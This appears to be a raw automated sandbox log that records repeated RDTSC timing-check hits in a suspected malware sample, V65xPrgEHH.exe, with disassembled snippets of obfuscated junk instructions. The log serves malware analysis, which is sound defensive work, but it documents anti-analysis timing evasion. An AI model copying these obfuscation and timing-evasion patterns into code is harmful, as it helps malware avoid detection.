Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 806A12 second address: 806A28 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4AB14441F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jl 00007F4AB14441F6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 80D053 second address: 80D06E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4AB0EAD87Eh 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 80D06E second address: 80D074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 80D074 second address: 80D0A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F4AB0EAD876h 0x00000011 jmp 00007F4AB0EAD884h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 80D0A2 second address: 80D0A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 815B20 second address: 815B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD87Dh 0x00000009 jmp 00007F4AB0EAD886h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 81919B second address: 8191D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4AB1444201h 0x0000000d jmp 00007F4AB1444200h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jnc 00007F4AB14441F6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8191D1 second address: 8191D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8191D5 second address: 8191DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8191DB second address: 8191E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 81EB57 second address: 81EB76 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AB1444201h 0x0000000d ja 00007F4AB14441F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 827817 second address: 82782A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4AB0EAD876h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82782A second address: 827830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 827830 second address: 827840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 827840 second address: 82785B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444207h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82785B second address: 827877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F4AB0EAD876h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 827877 second address: 827895 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F4AB1444200h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F4AB14441F8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 827895 second address: 8278AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4AB0EAD881h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 829DE8 second address: 829E05 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4AB14441FCh 0x00000008 pushad 0x00000009 jbe 00007F4AB14441F6h 0x0000000f jg 00007F4AB14441F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82DEAC second address: 82DEB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82DEB0 second address: 82DEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82DEB6 second address: 82DEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4AB0EAD87Eh 0x0000000b popad 0x0000000c pushad 0x0000000d jc 00007F4AB0EAD888h 0x00000013 jmp 00007F4AB0EAD880h 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82DEEA second address: 82DF1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444207h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F4AB14441FDh 0x0000000f jne 00007F4AB14441F6h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 82DF1E second address: 82DF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 835F0C second address: 835F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F4AB14441F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 836344 second address: 83634A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83634A second address: 83634F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8365F6 second address: 83660E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD87Bh 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F4AB0EAD876h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83676D second address: 836773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 836773 second address: 836779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A473 second address: 83A477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A477 second address: 83A48F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F4AB0EAD87Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A48F second address: 83A493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A493 second address: 83A4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4AB0EAD878h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4AB0EAD882h 0x00000015 jmp 00007F4AB0EAD87Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A4C2 second address: 83A4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A013 second address: 83A017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A017 second address: 83A01B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A01B second address: 83A027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 83A027 second address: 83A02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 84648F second address: 8464A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8464A0 second address: 8464A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8464A6 second address: 8464AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 846328 second address: 84632D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 84632D second address: 846337 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB0EAD87Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 846337 second address: 84633F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8591AE second address: 8591B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8591B8 second address: 8591BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8591BD second address: 8591C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8591C2 second address: 859208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4AB1444207h 0x0000000b jmp 00007F4AB1444205h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4AB1444201h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 858D38 second address: 858D50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD884h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 858D50 second address: 858D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 858D56 second address: 858D5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 858D5B second address: 858D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F4AB14441FDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 86D8B4 second address: 86D8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD87Eh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 86D0E0 second address: 86D0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 86D0E6 second address: 86D0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 86D22F second address: 86D23F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 86EF4A second address: 86EF53 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 86EF53 second address: 86EF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 871EB9 second address: 871F67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+12475F30h], eax 0x0000000e push dword ptr [ebp+122D296Ch] 0x00000014 sub edx, 5C1292E4h 0x0000001a or dword ptr [ebp+122D272Ch], edi 0x00000020 call 00007F4AB0EAD879h 0x00000025 jmp 00007F4AB0EAD880h 0x0000002a push eax 0x0000002b jmp 00007F4AB0EAD887h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 pushad 0x00000035 jmp 00007F4AB0EAD87Dh 0x0000003a jmp 00007F4AB0EAD889h 0x0000003f popad 0x00000040 mov eax, dword ptr [eax] 0x00000042 push edx 0x00000043 jmp 00007F4AB0EAD887h 0x00000048 pop edx 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F4AB0EAD880h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 871F67 second address: 871F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 871F71 second address: 871F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 87321C second address: 87323B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4AB1444203h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 87323B second address: 87323F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 876BBA second address: 876BC4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB14441FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4EF0325 second address: 4EF03B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 0620E98Ah 0x00000008 pushfd 0x00000009 jmp 00007F4AB0EAD87Bh 0x0000000e sub esi, 1841582Eh 0x00000014 jmp 00007F4AB0EAD889h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F4AB0EAD87Eh 0x00000023 push eax 0x00000024 pushad 0x00000025 call 00007F4AB0EAD881h 0x0000002a mov ebx, esi 0x0000002c pop eax 0x0000002d pushad 0x0000002e mov bx, E2EEh 0x00000032 push edi 0x00000033 pop eax 0x00000034 popad 0x00000035 popad 0x00000036 xchg eax, ebp 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushfd 0x0000003b jmp 00007F4AB0EAD888h 0x00000040 xor cx, DA68h 0x00000045 jmp 00007F4AB0EAD87Bh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4EF03B8 second address: 4EF040C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007F4AB1444202h 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 jmp 00007F4AB1444200h 0x00000016 mov ecx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ebx, 59FAAE10h 0x00000021 call 00007F4AB1444209h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4EF040C second address: 4EF0414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4EF042D second address: 4EF0433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10844 second address: 4F10848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10848 second address: 4F1084E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F1084E second address: 4F10883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4AB0EAD87Ch 0x00000008 mov esi, 13244E01h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F4AB0EAD87Ch 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4AB0EAD87Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10883 second address: 4F108A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6EDBBA60h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F4AB1444200h 0x00000014 mov ch, 63h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F108A5 second address: 4F108F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4AB0EAD87Ah 0x00000009 jmp 00007F4AB0EAD885h 0x0000000e popfd 0x0000000f call 00007F4AB0EAD880h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a jmp 00007F4AB0EAD881h 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F108F7 second address: 4F108FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F108FD second address: 4F10912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD881h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10912 second address: 4F1094B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444201h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4AB1444201h 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4AB14441FDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F1094B second address: 4F1095B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD87Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F1095B second address: 4F10977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, si 0x00000012 mov di, cx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10977 second address: 4F1099B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F1099B second address: 4F109AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB14441FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F109AA second address: 4F10A38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007F4AB0EAD883h 0x00000014 and ch, FFFFFFEEh 0x00000017 jmp 00007F4AB0EAD889h 0x0000001c popfd 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007F4AB0EAD881h 0x00000024 or ah, 00000026h 0x00000027 jmp 00007F4AB0EAD881h 0x0000002c popfd 0x0000002d popad 0x0000002e lea eax, dword ptr [ebp-04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F4AB0EAD87Dh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A38 second address: 4F10A54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444201h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A54 second address: 4F10A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A58 second address: 4F10A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F10A5C second address: 4F10A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
